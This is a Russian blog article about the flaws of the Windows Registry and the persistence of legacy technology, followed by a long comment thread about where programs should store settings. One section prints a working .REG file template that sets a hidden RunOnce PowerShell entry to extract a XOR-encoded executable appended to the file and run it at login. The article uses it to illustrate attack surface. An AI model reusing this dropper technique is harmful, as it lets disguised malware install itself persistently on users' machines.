Нет в мире совершенства. Куда ни глянь — всюду костыли и компромиссы. Вроде каждый в отдельности хочет сделать как лучше, но чем больше участников — тем сильнее хаос…
Возьмём классический пример — реестр Windows. Этот странный артефакт инженерной мысли представляет некое подобие иерархической БД для хранения абсолютно всех настроек — и системных, и приложений, и драйверов. Центральное бинарное хранилище заменило массу файлов .ini, разбросанных по всей системе и должно было упростить жизнь. Но вышло наоборот. И глядя на монструозный тормозящий конструкт, возникает только один вопрос: как это исправить? Ответ тоже простой: «Если вкратце, то никак». И так во всём. Мы создаём монстров, а потом не можем от них избавиться.
Задуманный для благих целей Windows Registry превратился в проклятие. Он должен был уменьшить хаос в системе, а не увеличить его. Фундаментальной проблемой реестра стала его открытость внешнему миру — полная открытость на запись, что в конце концов превратило его в мусорный отстойник для всякого треша. И одновременно в единую точку отказа.
Вместо упрощения жизни, реестр усложнил её. Без ковыряния в Registry нельзя даже перенести рабочие файлы приложения в другое место, поскольку реестр не синхронизируется с файловой системой, что между прочим является нарушением принципа DRY.
Самый простой способ сломать работу программы под Windows — перенести её в другую папку, не помолившись богам двоичного блоба Windows Registry. Например, после простой переустановки Windows большинство установленных игр и рабочих программ перестают работать просто потому, что их рабочие пути были прописаны в реестре, а по другим путям они не запускаются.
Иногда хочется вернуть те самые файлы .INI, чтобы настройки приложения хранились в одной папке с ним. Кажется, что так было гораздо логичнее и проще. С другой стороны, приложениям никто не мешает это делать сейчас — и работать без помощи реестра Windows, но таких программ исчезающе мало (и обычно это самые крутые и незаменимые программы, такие как
ffmpeg.exe и yt-dlp.exe).Разработчики Windows попытались упорядочить эту свалку, когда в версии Vista предложили три разных пути для хранения настроек приложений:
/Users/j0ker/AppData/Local
/Users/j0ker/AppData/LocalLow
/Users/j0ker/AppData/RoamingВ документации Roaming User Data Deployment Guide написано, что специфичные для конкретного железа настройки нужно хранить в первых двух директориях дерева, а третий путь всегда хранится вместе с пользователем. Но это решение проблемы для конкретного пользователя, но не для системы целиком. Да и вообще после этих нововведений хаос ничуть не снизился.
Суммируя всё вышесказанное, Windows Registry технически несостоятелен по нескольким причинам. Это:
-
Мусорная свалка из настроек. Например, список примонтированных дисков хранится в
HKEY_LOCAL_MACHINE\SYSTEM\MountedDevices, список видимых для пользователя дисков —HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\, а список USB-устройств —HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR
- Непрозрачный бинарник, из которого трудно извлечь настройки и перенести на другую машину
- Единая точка отказа — реестр легко повредить таким образом, что система зависнет при попытке его загрузить
- Отсутствие синхронизации с ФС. По сути, реестр — это не база данных, а отдельная файловая система со многими атрибутами ФС (директории, индексные дескрипторы, расширенные атрибуты). Да, она хранится в отдельном файле, но
ext3тоже. Отсюда странные ключи типа\ControlSet001\Control\CriticalDeviceDatabase\pci#ven_1af4&dev_1001&subsys_00000000
Добавим, что внутрь файла .REG можно встроить исполняемый файл (бинарник) с функцией автоматического выполнения. Как известно, файлы .REG — это простые текстовые файлы для импорта записей в реестр. Например, если прописать программу в раздел
Run/RunOnce реестра, то она добавляется в автозагрузку:REGEDIT4
[HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce]
"StartupEntryName"="C:\\test\\program.exe"Оказывается, в конце этого текстового файла вы можете добавить любые бинарные данные, файл всё равно останется валидным и нормально импортируется. То есть можно прописать в .REG скрипт PowerShell, который извлечёт бинарные данные в отдельный файл и добавить в «Автозагрузку» запись на их исполнение. Вот пример такого файла:
REGEDIT4
[HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce]
"startup_entry"="cmd.exe /c \"PowerShell -windowstyle hidden $reg = gci -Path C:\\ -Recurse *.reg ^| where-object {$_.length -eq 0x000E7964} ^| select -ExpandProperty FullName -First 1; $bat = '%temp%\\tmpreg.bat'; Copy-Item $reg -Destination $bat; ^& $bat;\""
\xFF\xFF
cmd /c "PowerShell -windowstyle hidden $file = gc '%temp%\\tmpreg.bat' -Encoding Byte; for($i=0; $i -lt $file.count; $i++) { $file[$i] = $file[$i] -bxor 0x77 }; $path = '%temp%\tmp' + (Get-Random) + '.exe'; sc $path ([byte[]]($file^| select -Skip 000640)) -Encoding Byte; ^& $path;"
exit
<encrypted .exe payload data>Демо:
В бинарный файл реестра тоже легко спрятать произвольные данные, которые будут невидимы для системы, но видимы для сторонних инструментов, таких как hivex.
Таким образом, к недостаткам реестра можно добавить ещё и пятый пункт — увеличение поверхности атаки, то есть ухудшение информационной безопасности системы.
Артефакты вроде реестра Windows — это легаcи, от которого практически невозможно отказаться без потери обратной совместимости. Остаётся только смириться и страдать. Хуже всего, что с каждой новой версией практически любой программы объём ненужного хлама возрастает, именно поэтому программы с каждой версией становятся всё медленнее и требуют всё больше ресурсов.
▍ Ранние технические решения остаются с нами надолго
Любую техническую мелочь, принятую на раннем этапе, очень тяжело изменить впоследствии.
Например, только спустя много лет компания AWS смогла отказаться от
gzip и перешла на более эффективный формат сжатия своих логов zstd (коэффициент сжатия +30%, по сравнению с gzip). Такой шаг сэкономил AWS миллионы долларов, поскольку она вынуждена хранить экcабайты служебных данных:Это произошло спустя много лет использования неэффективного формата. Почему Amazon так долго за него держалась? Неужели неэффективность
gzip не была очевидна всем разработчикам? Неужели не видно была огромная выгода от перехода на более эффективное сжатие? Нет, всё было понятно и очевидно. Просто на gzip оказалось завязано слишком много внутренних подсистем, всё работало по накатанной. Проклятие легаси во всей красе.Другой пример. Когда-то маленькая компания Stripe выбрала основной язык разработки Ruby и СУБД MongoDB — и до сих пор использует их, хотя уже давно выросла в большой платёжный сервис с финансовыми транзакциями на миллиарды долларов. Все понимают, насколько трудно переписать всё с нуля, поэтому статус-кво сохраняется. Точно так же маловероятно, что они в ближайшем будущем переедут с AWS, уже слишком глубоко завязли.
Удивительно, но даже самые мелкие технические решения — костыли, изначально принятые чуть ли не случайно, всё равно годами и десятилетиями бережно сохраняются в неизменном виде. Мол, работает — не трогай. Устаревшие артефакты неистово защищаются из-за своей важности много лет назад.
И так во всём вокруг. Если у программного обеспечения потрясающая инерция, что уж говорить о реальных физических системах.
Единожды сделав неоптимальный выбор, люди всеми силами держатся за него. Со стороны такое выглядит иногда совершенно глупо и неуместно. Проблема усугубляется специфическими когнитивными искажениями, когда человек задним числом приписывает положительные качества предмету или действию, которые он выбрал (в том числе с помощью генерации ложных воспоминаний). В этом случае исправить ошибочно сделанный выбор будет особенно тяжело, а иногда и невозможно, не причинив моральных страданий носителю искажений.
▍ Люди слишком много думают о неважных вещах
По большому счёту, проблема повсеместного хаоса не ограничивается одним программированием. Достаточно посмотреть, как организована общественная жизнь в остальных сферах — экономике, образовании, здравоохранении и др. Чётко спроектированные, эффективные механизмы в рамках продуманных институтов и систем — это скорее редкое исключение из правил. Обычно вокруг царит слабо организованный бардак, в котором люди пытаются выжить, предпринимая индивидуальные усилия, чтобы максимизировать личную выгоду в текущем моменте. Зачастую в своих решениях мы ориентируемся скорее на инстинкты и моральные установки, а не на рациональные правила для вычисления оптимума. Соответственно, и последствия таких действий трудно предсказуемы.
В этом плане интересно посмотреть на результаты научного исследования с замером времени, которое люди тратят на принятие решений (doi: 10.1098/rspb.2015.1439). Оказывается, чем более очевидный выбор стоит перед человеком— тем быстрее (мгновенно, инстинктивно) он принимает решение. Если же встаёт выбор между похожими (одинаковыми) вариантами, то люди надолго впадают в ступор, вместо того, чтобы безразлично выбрать любой вариант случайным образом.
Таким образом, больше всего времени тратится на бесполезные размышления над ничего не значащими вариантами. При этом большие, важные решения принимаются практически бездумно.
А как считаете вы?
Конкурс статей от RUVDS.COM. Три денежные номинации. Главный приз — 100 000 рублей.
Комментарии (168)
mSnus
07.09.2022 12:27+11Без ковыряния в Registry нельзя даже перенести рабочие файлы приложения в другое место, поскольку реестр не синхронизируется с файловой системой, что между прочим является нарушением принципа DRY.
А при чём тут DRY вообще?
YegorP
07.09.2022 14:24+1Ну типа абсолютные пути к файлам и директориям в реестре дублируются по разным причинам.
mSnus
07.09.2022 14:33+10Но с чего реестру вдруг синхронизироваться с файловой системой? Переименование любой папки должно предваряться автосканированием всего реестра с поиском абсолютных и относительных путей к этой папке? Странная идея. А что, .ini/.conf-файлы как-то синхронизируются с файловой системой?
А DRY - это относится к разработчику, повторяющему себя. Здесь у реестра и у программы разные разработчики.
пути к файлам и директориям в реестре дублируются по разным причинам
можете привести пример?
lgorSL
07.09.2022 20:23+4А что, .ini/.conf-файлы как-то синхронизируются с файловой системой?
Они могут лежать в папке с приложением
HemulGM
07.09.2022 22:24+3В папке с приложением не должны лежать файлы, которые могут быть модифицированы во время работы это программы
Mapaxa864
08.09.2022 02:28+8Ну да, гораздо проще ведь искать настройки по нескольким срытым виндовым директориям.
HemulGM
08.09.2022 06:58+3Есть общие рекомендации, где хранить настройки. Почитайте на досуге. А чтоб редактировать программе файлы рядом с собой, при учёте, что программа установлена по правилам (в Program Files), нужны права администратора. Только чтоб она могла сохранять свои настройки. Вы уверены, что Sublime Text постоянно нужны права администратора? Или браузеру?
iig
08.09.2022 11:33Так то нет проблем на каждый файл в папке прописать отдельные права. Проблема будет потом отличать, где прав достаточно, где недостаточно, где избыточно. И ленивые админы будут просто разрешать запись в %PROGAMFILES%.
Zoolander
08.09.2022 12:28-2// общие рекомендации, где хранить настройки
Общие - значит ничьи. Я в Советском Союзе рос и учился, помню, что значит "общие рекомендации" растиражированные на все условия
Дайте конкретную ссылку
mSnus
08.09.2022 00:38..и в них прописан путь? Зачем? Но если уж прописан, то придётся точно так же менять
vadimr
08.09.2022 11:13Обычно в таких случаях прописывается относительный путь.
mSnus
08.09.2022 11:51тогда все равно, где он прописан - в файле или в реестре
Cerberuser
08.09.2022 12:08В файле прописывается путь относительно самого файла. В реестре - относительно чего?
Rsa97
08.09.2022 12:14В файле прописывается путь относительно самого файла.
Что мешает прописать в файле путь относительно чего угодно?В реестре — относительно чего?
Например, относительно исполняемого файла программы, или домашней папки пользователя, или текущего рабочего каталога. Как программист напишет так и будет.iig
08.09.2022 12:57-2Как программист напишет так и будет.
Для программиста проще не использовать относительные пути.
Andreyika
08.09.2022 12:23В файле прописывается путь относительно самого файла
С чего бы вдруг? Если путь прописывается там изначально, то да - он там скорее всего будет относительный. Только не пойму, зачем мне, как разработчику, этот путь нужно выносить в файл?
Если этот путь появляется в результате установки и уж тем более после выбора пользователем - относительный он точно не будет, даже если находится в той же папке. никто не будет заморачиваться созданием относительных путей, да и работать это будет сильно хуже
Ну и первый попавшийся пример не из винды
cat /etc/opt/remi/php81/php.ini ..... [opcache] ; see /etc/opt/remi/php81/php.d/10-opcache.ini
DollyPapper
08.09.2022 01:49+2Так в том и суть DRY, если у чего-то разные причины изменения, то нет нарушения DRY. Простое дублирование функционала нормально в моменте. Есть у вас две функции делают на текущий момент одинаковые вещи, это вовсе не значит, что вы нарушаете DRY, потому что завтра одна из функций может начать делать немного отличающиеся вещи, и это как бы уже не одна функция.Так что да - при чем тут DRY не понятно.
Vitaly83vvp
07.09.2022 13:51+16Я лет 20 назад писал для себя несколько программ, которые сохраняют свои настройки в ini файлах (этим их функционал не ограничивается). Так вот, они прошли уже несколько ОС и множество переустановок системы, но достаточно просто скопировать папку в систему и всё работает. Когда настройки в папке с программой - это удобно. Да, с реестром очень неудобно.
Кстати, мне нравится решение разработчиков wine - работа с реестром сохранена, но файл имеет текстовый формат, как обычный REG файл.
nickolaym
07.09.2022 14:30+21Когда настройки рядом с программой, возникают вопросы к правам доступа.
Бинарники можно положить в readonly (как для всей системы, так и для конкретного пользователя).
У нескольких пользователей могут быть разные настройки.vadimr
08.09.2022 11:18+1Если у вас существует необходимость ограничить пользователя от модификации приложений, кошерным выходом является использование замкнутой программной среды (запрет на использование неподписанных приложений). А права доступа к каталогам – костыль.
Полвека назад человечество выдумало хранить код приложений в /usr/local, а их настройки – в /etc (или как в macOS, Applications и Preferences, неважно).
baldr
08.09.2022 11:42+2Полвека назад человечество выдумало хранить код приложений в /usr/local, а их настройки – в /etc
И что, у вас authorized_keys или .bashrc лежат в /etc/ ?
vadimr
08.09.2022 11:45-2Они не являются настройками приложений, это параметры учётной записи пользователя. Башу для работы они не нужны.
baldr
08.09.2022 12:02+2Это конфиг-файлы конкретных приложений. Еще у меня есть, например, Skype, Firefox, Wine, несколько VPN-клиентов и еще несколько десятков приложений, которые запускаются именно для пользователя. Он хранятся в отдельной папке пользователя, да.
И я могу не захотеть делиться настройками VPN с другими пользователями этого компьютера, не так ли? И даже не хочу разрешать читать эти файлы.
А права доступа к каталогам – костыль.
В то же время, у меня есть серверные сертификаты для nginx, которые лежат в /etc, однако мне тоже не очень хочется чтобы доступ к ним был у всех запущенных приложений. Не очень понятно, все-таки, что вы предлагаете взамен решения, которое вы называете "костыль".
vadimr
08.09.2022 12:16А мне не очень понятно, что вы подразумеваете под “доступом у запущенных приложений”. Субъектом доступа в наиболее часто используемых моделях безопасности является пользователь.
В целом, с точки зрения именно безопасности мандатные метки (и их безопастностный суррогат в виде средств контейнеризации и виртуализации) не имеют реальной работающей альтернативы. А то, что вы говорите про bash, Skype и Firefox – это средства персонализации, а не обеспечения безопасности.
И я могу не захотеть делиться настройками VPN с другими пользователями этого компьютера, не так ли? И даже не хочу разрешать читать эти файлы.
А с рутом хотите делиться? Когда дело касается безопасности, мысли надо думать до конца.
Но мы разговор-то вообще начинали не о безопасности, а об удобстве сопровождения системы.
baldr
08.09.2022 12:37Мы с вами находимся в треде, где автор верхнего комментария предлагает хранить настройки как файл в папке с приложением.
Вы начали отвечать другому комментатору, который указал что настройки могут быть разными для разных пользователей и нужно придумывать как их разделять и изолировать. Кстати, root - это тоже пользователь. И, кстати, статья, в первую очередь про Windows, несмотря на то что мы с вами, судя по всему, предпочитаем другие ОС.
vadimr
08.09.2022 13:12+2Я считаю, что в macOS в этом отношении сделано очень понятно и близко к идеальному. Код приложения – в /Applications/приложение.app, общие настройки (кому нужны) – в /Library/Preferences/приложение.plist, индивидуальные настройки (кому нужны) – в ~/Library/Preferences/приложение.plist. При этом общепринятым хорошим тоном является возможность запускаться без настроек, создавая их по умолчанию.
Хотя, как и везде, мир не без странных людей. Находятся и такие, которые хранят настройки внутри приложения .app.
baldr
08.09.2022 13:50+1Это в том самом macOS, который хочет в каждую папку положить файл
.DS_Store? Даже на примонтированных сетевых дисках и чужих флэшках?И которая простой файл с картинкой размажет по нескольким скрытым местам в файловой системе (возможно, это только на айфонах с HEIF-файлами)?
В Windows я тоже помню "Thumbs.db", но, вроде, ее уже убрали в последних версиях.
baldr
08.09.2022 14:02+1Отображения где? На Windows-компьютере близорукой бабушки с огромными иконками на десктопе или на ноуте ее внука (тоже Windows, предпочитает List-style для папок и показывать скрытые файлы).
Или на вашем macOS? Или на моем ноуте с убунтой? Каждый должен свой файл создать на этой флэшке?
vadimr
08.09.2022 14:05+1Ну отсутствие стандартизации – это не проблема macOS, согласитесь?
Для меня вот важно файлы цветными пометками выделять. Потом сортировать по этим пометкам.
baldr
08.09.2022 14:11А это хранится в том самом .DS_Store? Ну вот у вас есть, скажем, общий сетевой диск на работе. И вам нравится одни файлы выделять красным, а другому коллеге - зеленым. А если таких коллег 20 человек?
Разве логично что хранить это нужно в этой самой папке?
vadimr
08.09.2022 14:14В общем сетевом диске именно все пользователи и выделяют цветом, чтобы было понятно друг другу, какие файлы наиболее важные.
baldr
08.09.2022 14:18И что, правда что на Windows я увижу какой вы цвет у себя поставили этому файлу в macOS?
vadimr
08.09.2022 14:20У нас не используется Windows в рабочем процессе. Фронтенд под macOS, бекенд под Linux.
baldr
08.09.2022 14:34Я пытаюсь вам указать на то что параметры отображения файлов в папках - это не свойства папки, а предпочтения конкретного пользователя (и на конкретном компьютере). И хранить их в общей папке нет смысла. Поэтому ваше изначальное замечание про идеальность macOS достаточно спорно.
Я лично предпочитаю белый шрифт на темно-зеленом фоне для списка файлов (это правда так). Но если я попытаюсь это сделать для папки с общим доступом - вряд ли я найду поддержку.
vadimr
08.09.2022 14:38Я не говорил, что macOS вообще во всём идеальна, а привёл пример конкретно с настройками программ.
baldr
08.09.2022 14:45И я не говорил про общую идеальность, а продолжил именно эту же тему - программа Finder, входящая в состав macOS свои настройки упорно пихает во все папки, совсем ей не принадлежащие. И в последних версиях они решили эту проблему:
Очень просто и надежно
Starting at macOS 10.12 16A238m, Finder will not display
.DS_Storefiles (even withcom.apple.finder AppleShowAllFiles YESset).
vadimr
08.09.2022 15:27То, что конкретно файндер пишет в .DS_Store – может быть хорошо или плохо, но никак не связано с общим принципом хранения настроек программ в plist'ах, описанным выше.
Хотя конкретно в данном случае всякое централизованное хранилище, в том числе и plist, невероятно разбухло бы от огромного количества данных о неактуальных уже каталогах, поэтому разумной альтернативы не видно.
iig
08.09.2022 14:45Всегда можно найти пример, когда настройки программ в X это хорошо и удобно. И антипример тоже ;)
mSnus
08.09.2022 11:54хранить код приложений в /usr/local, а их настройки – в /et
а потом придумало контейнеры, чтобы с этим как-то справляться ))
Zoolander
08.09.2022 12:32+1// У нескольких пользователей могут быть разные настройки.
Когда все это начиналось - казалось, это классная идея - несколько юзеров на одной машине.
Я прожил 30 лет с персональными компьютерами и за все эти годы на всех моих машинах был один пользователь.
Пора честно встать и признать - из-за химеры "удобство для нескольких пользователей" мы соорудили кучу неудобных практик для одного основного пользователя.
Несколько пользователей на компьютере - это химера. Компьютер - это персональная машина.baldr
08.09.2022 12:43Даже если в 80% случаев (цифра из головы) на персональном домашенем компьютере с запущенной ОС всего один основной пользователь, то в оставшихся случаях это не так.
Допустим, вы разработчик какой-то более-менее популярной программы. Вы проигнорируете возможность запуска вашей программы для разных пользователей?
iig
08.09.2022 13:01Даже если пользователь один - процессов много, и доступы очень желательно ограничивать.
nickolaym
10.09.2022 04:13Несколько пользователей на сервере - это реальность.
Мощный компьютер - это не персональная машина, потому что это было бы слишком дорого для каждого.
И это не только про линукс. У виндоуза есть версии server с удалёнными рабочими столами.
saboteur_kiev
10.09.2022 04:45Я прожил 30 лет с персональными компьютерами и за все эти годы на всех моих машинах был один пользователь.
Это только кажется. На всех ваших машинах куча служб запускается от имени разных пользователей
Кроме того, я предполагаю, что 30 лет вы пользуетесь не только персональным но и корпоративным компьютером.
mikleh
07.09.2022 14:33+13Только вот у программы не должно быть права записи в свою папку, потому что иначе это дырень в безопасности. А так да, удобно.
PKav
07.09.2022 17:07+2А что мешает дать права записи в конфигурационный файл? Не удаления, не создания и не переименования, а только чтения и записи содержимого.
NemoVors
07.09.2022 17:44+13Я не специалист, поэтому задам, вероятно, дурацкий вопрос: а в чем именно дыра в безопасности? Речь будет идти только об использовании домашнего ПК, не рабочего.
Я начинал свой путь в Win98. И, конечно, начинал с игр. И игры того времени хранили свои сохранения в папке с игрой. Что, на мой субъективный взгляд, очень логично и удобно для пользователя - я всегда знаю где сейвы к данной конкретной игре. Переустановка системы никак не затронет моего персонажа в Diablo 2 и Fallout 2. Если я захочу удалить игру, то папку save могу удалить или сохранить - я ведь точно знаю где она лежит. И точно удаление дьяблы не повредит фаллоуту. И наоборот. И даже я могу хранить и использовать несколько версий одной игры (актуально для мододелов, например), так, чтобы они друг другу не мешали. Это же применимо и к программам, хотя тут у каждого вида софта есть свои заморочки. Если программа ворочает большими файлами (видео там), то их неудобно хранить рядом с ней. Так большинство подобных программ позволяет сохранить результаты работы вообще куда угодно по запросу пользователя. Лишь бы ему прав хватило.
В то же время современные игры сохраняют игру в одно из множества мест: appdata (там еще возможны варианты куда именно), мои документы, мои игры или еще куда-нибудь. Чтобы найти папку проще залезть в гугл и спросить, потому как папка с сейвами будет в лучшем случае лежать в папке с названием разработчика, которая лежит в папке с именем издателя (обычному игроку эта информация не нужна и не всегда известна). А может лежать в папке с именем в виде аббревиатуры, тогда шансы ее найти самостоятельно стремятся к нулю.
Поэтому когда где-то пишут, что хранение сейвов и настроек вне папки программы это "для удобства пользователя" у меня возникает некоторый диссонанс. Мне вот, как пользователю, неудобно. И я до сих пор не могу переучиться, хотя и принимаю новое.
Единственную дыру (с моей точки зрения дилетанта), которую я вижу - это заполнить полностью диск, на котором игра/программа лежит. Но у меня the Witcher 1 точно также забивает насмерть SSD, на котором установлена система, т.к. сохраняет свои сейвы по 10-20мб (в зависимости от стадии игры) и не перезаписывая их. В итоге после пары часов игры папка на системном диске весит пару тройку гигабайт. Что в итоге куда опаснее, чем переполнение диска д - потому как там вообще ничего важного нет и быть не должно (это мой субъективный опыт работы с виндовс, возможно неправильный).
Вторая дыру, что я вижу - это генерация вредоносного кода и сохранение в папку с программой. Но что мешает программе сгенерировать такой код на системный диск в папку с настройками (возможно она оттуда ничего выполнить не сможет или там еще какая защита. я не знаю)?
p07a1330
07.09.2022 19:19В итоге после пары часов игры папка на системном диске весит пару тройку гигабайт.
2*1024/20 = 102 сохранения в час минимум
Бывает))NemoVors
07.09.2022 21:59+2Это после двух игровых сессий. Да я часто сохраняюсь. Особенно в играх, склонных к вылетам. Я чищу папку довольно часто. Насчет объема сейвов, я, как видите, приуменьшил. Но первые сейвы из начала игры точно были порядка 10мб.
К слову, я нашел папку с сейвами таки с третьей попыки. Папка the witcher есть и в AppData\Local и в документах.
mSnus
08.09.2022 00:56А потом оказывается, что каждой из ваших игр нужен доступ к Steam, и где-то надо хранить пароль (токенов нет). В каждой папке будете хранить копию?
NemoVors
08.09.2022 11:23Я никак не разбираюсь в устройстве стима. Не могли бы вы пояснить, что имеете в виду? Какой пароль должен храниться в какой папке? Стим хранит все игры в папке steamlibrary. Ничто не мешает ему рядом хранить какие-то свои данные (про безопасность их хранения в зашифрованном виде я не могу судить). С сохранениями все сложнее - там тоже кто во что горазд. Пример с ведьмаком - как раз стим версия. Сейвы хранятся в "мои документы", игра в steamlibrary. Что еще об этой игре стим хранит в steamlibrary (там много папок, я как-то не вникал) мне неизвестно.
mSnus
08.09.2022 11:54Это просто абстрактный пример того, что бывают настройки, которые общие для нескольких приложений. Где их хранить?
khajiit
08.09.2022 12:08+1Хреновый пример.
Потому что стимовские игры используют steam api.
А стим свои настройки хранит сам, один.
NemoVors
08.09.2022 12:10+1В данном случае это настроки стима - поэтому пример я и не понял.
Если честно сходу не могу вспомнить никакого ПО, которое бы обладало общими настройками. Всегда есть или "главная" программа, к которой обращаются остальные или программы объединяет только производитель. Можете привести более конкретный пример?
Но даже без него настройки программ, как правило, измеряются десятками килобайт. Не вижу проблемы хранить их в каждой из связанных программ. Допустим совершенно бредовую ситуацию: я взял свою коллекцию игр стим и установил (700+ штук - я коллекционер). И каждая хранит по 100 кб общих настроек. С винчестером, способным выдержать 700 игр, в среднем весящих 5 гб (от 100мб до 120Гб), я замечу это или нет?
Если же брать более реальную ситуацию, где количество установленных на ПК приложений болтается около 100. То даже если половина программ будет с общими настройками - это заметно не скажется ни на объеме винчестера, ни на быстродействии программ.
Хотя если те же 100кб настроек на каждую программу запихнуть в реестр, который часто просматривается разными приложениями и самой ос - тогда будет "ОЙ", конечно.
baldr
08.09.2022 12:23+2В случае с играми и стимом еще можно придумать какие-то схемы чтобы не использовать реестр.
Но, например, у вас есть драйвер. Например, принтера. Он устанавливается в систему и может быть доступен нескольким пользователям и совершенно разным приложениям - от офиса до блокнота или какому-нибудь Bluetooth-сканеру (у которого свой драйвер еще есть).
И каждый пользователь хочет иметь свои настройки принтера (любимая ориентация, размер бумаги, цвета). А так же офис может захотеть запоминать какие-то настройки от предыдущей печати или шрифты.
А еще по сети принтер можно расшарить когда ни один пользователь вообще не залогинен.
А драйвер (не обязательно принтер) - это такая штука, которая может состоять из нескольких компонентов или слоев, когда часть кода выполняется чуть ли не в ядре ОС, а часть загружается динамически из какой-то DCOM-библиотеки, которая вообще не в курсе конфиг-файлов. И эти DCOM-библиотеки связаны между собой через отдельно зарегистрированные в системе компоненты с уникальным guid. Который отличается для каждой установки ОС.
В итоге получается что проще иметь какое-то универсальное API для хранения настроек, специфичных для конкретной установки ОС на именно этом компьютере. И лучше бинарного для оптимизации доступа (и чтобы не лазили кому не надо руками).
В целом, идея реестра сама по себе не так уж плоха. Понятно что за 30 лет много чего поменялось и не все принятые ранее решения сейчас выглядят правильными.
NemoVors
08.09.2022 12:46вот насчет нескольких пользователей одного ПК я как-то не подумал. В играх(более менее современных) это решается через профили. В каждом профиле уже свои сейвы/настройки/персонажи. И хранить их можно было бы в папке с программой.
В случае с принтером это не сработает, там нужен механизм вроде папки users или реестра.
baldr
08.09.2022 13:02+1В каждом профиле уже свои сейвы/настройки/персонажи. И хранить их можно было бы в папке с программой.
Ок, давайте я попробую продолжить с вашим примером, хотя это будет посложнее..
Допустим, у вас есть брат, с которым вы вместе по очереди играете в какую-то игру, соревнуясь кто больше очков наберет. И, купив какой-то редкий меч в своей игре, через день вы обнаруживаете, что, оказывается, вы его продали в таверне за копейки. Брат хихикает и молчит. Вы понимаете что он загрузил ваш профиль из вашего файла и что-то поменял пока вас не было.
Да, можно в программе предусмотреть ввод пароля и им шифровать каждый профиль, но зачем это делать в каждой программе, если в ОС вы один раз входите под своим именем и имеете доступ только к своим уникальным настройкам, которые ОС сама же и защищает известным способом (в отличие от разработчиков игры, которые хз какой алгоритм решили выбрать для шифрования).
NemoVors
08.09.2022 13:13Это понятная проблема, я о ней, конечно, подумал и сам. Просто такую проблему с братом обычно решают в реальности :) . И профили нужны не для ограничения несанкционированного доступа, а именно для того, чтобы случайно не затереть чужой сейв.
Но ваша версия лучше, чем незащищенный профиль, это само собой. С другой стороны, если уж "брат" так хочет схитрить - у него для этого море других возможностей. Начиная от артмани, заканчивая входом в мою учетку в ОС, подсмотрев пароль.
Работу нескольких пользователей за одним ПК я действительно не предусматривал, когда писал посты выше. Потому что банально почти не сталкивался с таким в домашнем использовании. А там, где все-таки сталкивался у нас был один профиль ОС, где мы просто руководствовались простыми правилами вроде "не гадить там, где ешь". И проблем ни с сейвами, ни с документами не возникало.
Другой вопрос с рабочими ПК, где это должно жестко регулироваться и защищаться. Там без разделения не обойтись.
Ну, благодаря этой ветке я хотя бы понял зачем были перенесены настройки и сохранения в папки юзеров. Потому как раньше меня это просто раздражало.
mSnus
08.09.2022 21:16Окей, вот есть игровой джойстик, у него есть маппинг кнопок, который вы не хотите настраивать каждый раз заново для новой игры. Где хранить эти настройки?
NemoVors
08.09.2022 23:04В стиме или игровом профиле.
Помнится мы конфиги для CS и Quake3 хранили в файлах и загружали через консоль после начала игры. Люди по всякому извращались вплоть до изменения ника на каждый выстрел. И норм было. Сейчас в играх такого функционала и не найти (хотя не сказать, чтоб он так уж нужен).
saboteur_kiev
08.09.2022 04:29+2Если я захочу удалить игру, то папку save могу удалить или сохранить - я ведь точно знаю где она лежит.
Это не относится к обычному среднестатистическому пользователю.
Вдобавок есть системные функции автоматического бэкапа профайла пользователя и эта системная функция никак не сможет догадаться какой .ini файл из папки самой программы нужно сохранять. Проще и логичнее бэкапить то, что лежит в users/
Если брать не винду, то в /etc, например, юзеру тоже нечего делать. Вот и MS пошли по пути стандартизации. Просто вместо индивидуальных ???/bin ???/etc, они предложили хранить или в реестре или в users/
Насколько я вижу, основная проблема не в системе, а в программистах, которые либо стандарты не учитывают, либо соблюдают их формально, вообще не задумываясь об удобстве, и тогда бывает
c:/programfiles/COMPANYNAME/GAMENAME
c:/users/MyUser/Documents/ALTERNATIVEGAMENAME/saves
вместо нормальной унификации.NemoVors
08.09.2022 11:47+1Если я захочу удалить игру, то папку save могу удалить или сохранить - я ведь точно знаю где она лежит.
>Это не относится к обычному среднестатистическому пользователю.Тогда что же относится к среднестатистическому пользователю?
В моем видении пользователь использует различные программы на своем компьютере. Если ему нужно решить новую задачу (убить баала) - он устанавливает новую программу (диабло 2) и пользуется ей. Когда задача решена пользователь может или удалить программу или оставить ее на диске (в зависимости от кучи параметров).
При этом он волен сохранить или не сохранять свой прогресс. Может он удаляет программу временно, потому что нет места для другой программы, которая решает другую задачу (убить азмодана, например).
Если для установки/удаления программ звать сисадмина, то так можно дойти до курьезных законов некоторых стран, где без образования электрика нельзя заменить лампочку, а без сертифицированного специалиста фермер не может масляный фильтр в тракторе поменять.
> Вдобавок есть системные функции автоматического бэкапа профайла пользователя и эта системная функция никак не сможет догадаться какой .ini файл из папки самой программы нужно сохранять. Проще и логичнее бэкапить то, что лежит в users/
Ни разу не пользовался этой функцией. Я - плохой образчик как простого пользователя, так и среднестастического. Но из моих знакомых (просты юзеры, никаких сисадминов, но каждый способен сам переустановить винду ничего не сломав) также никто не пользовался ни разу этой функцией (и даже не знают про нее). Но тут мы переходим к:
> Насколько я вижу, основная проблема не в системе, а в программистах, которые либо стандарты не учитывают, либо соблюдают их формально, вообще не задумываясь об удобстве
И это верно. Потому как я ведь перед переустановкой могу или средствами системы или руками взять и сохранить папку users. Но есть пара проблем: большинство настроек, которые там хранятся после переустановки системы пойдут коту под хвост. Большая часть появится там самостоятельно в процессе установки необходимых программ. Но еще большая куча там будет от старых программ, которые уже не нужны, но программы не озаботились удалением мусора за собой.
Насколько я вижу из комментов, в т.ч. других веток: этот бардак с настройками в основном мешает сисадминам. Простым пользователям он до фонаря, пока можно форматнуть диск C и переустановить винду раз в год. Никакой ccleaner не сравнится с такой уборкой мусора. Читатели/авторы хабра, как правило, более чем опытные пользователи пк, многие линуксоиды/маководы. Поэтому проблемы простого пользователя виндовс многие просто забыли/не замечают. Так же как пользователь не заметит боли во взгляде сисадмина, когда зайдет без пароля в админскую учетку и удалит папку с программой, не воспользовавшись uninstall.exe
saboteur_kiev
09.09.2022 04:13Тогда что же относится к среднестатистическому пользователю?
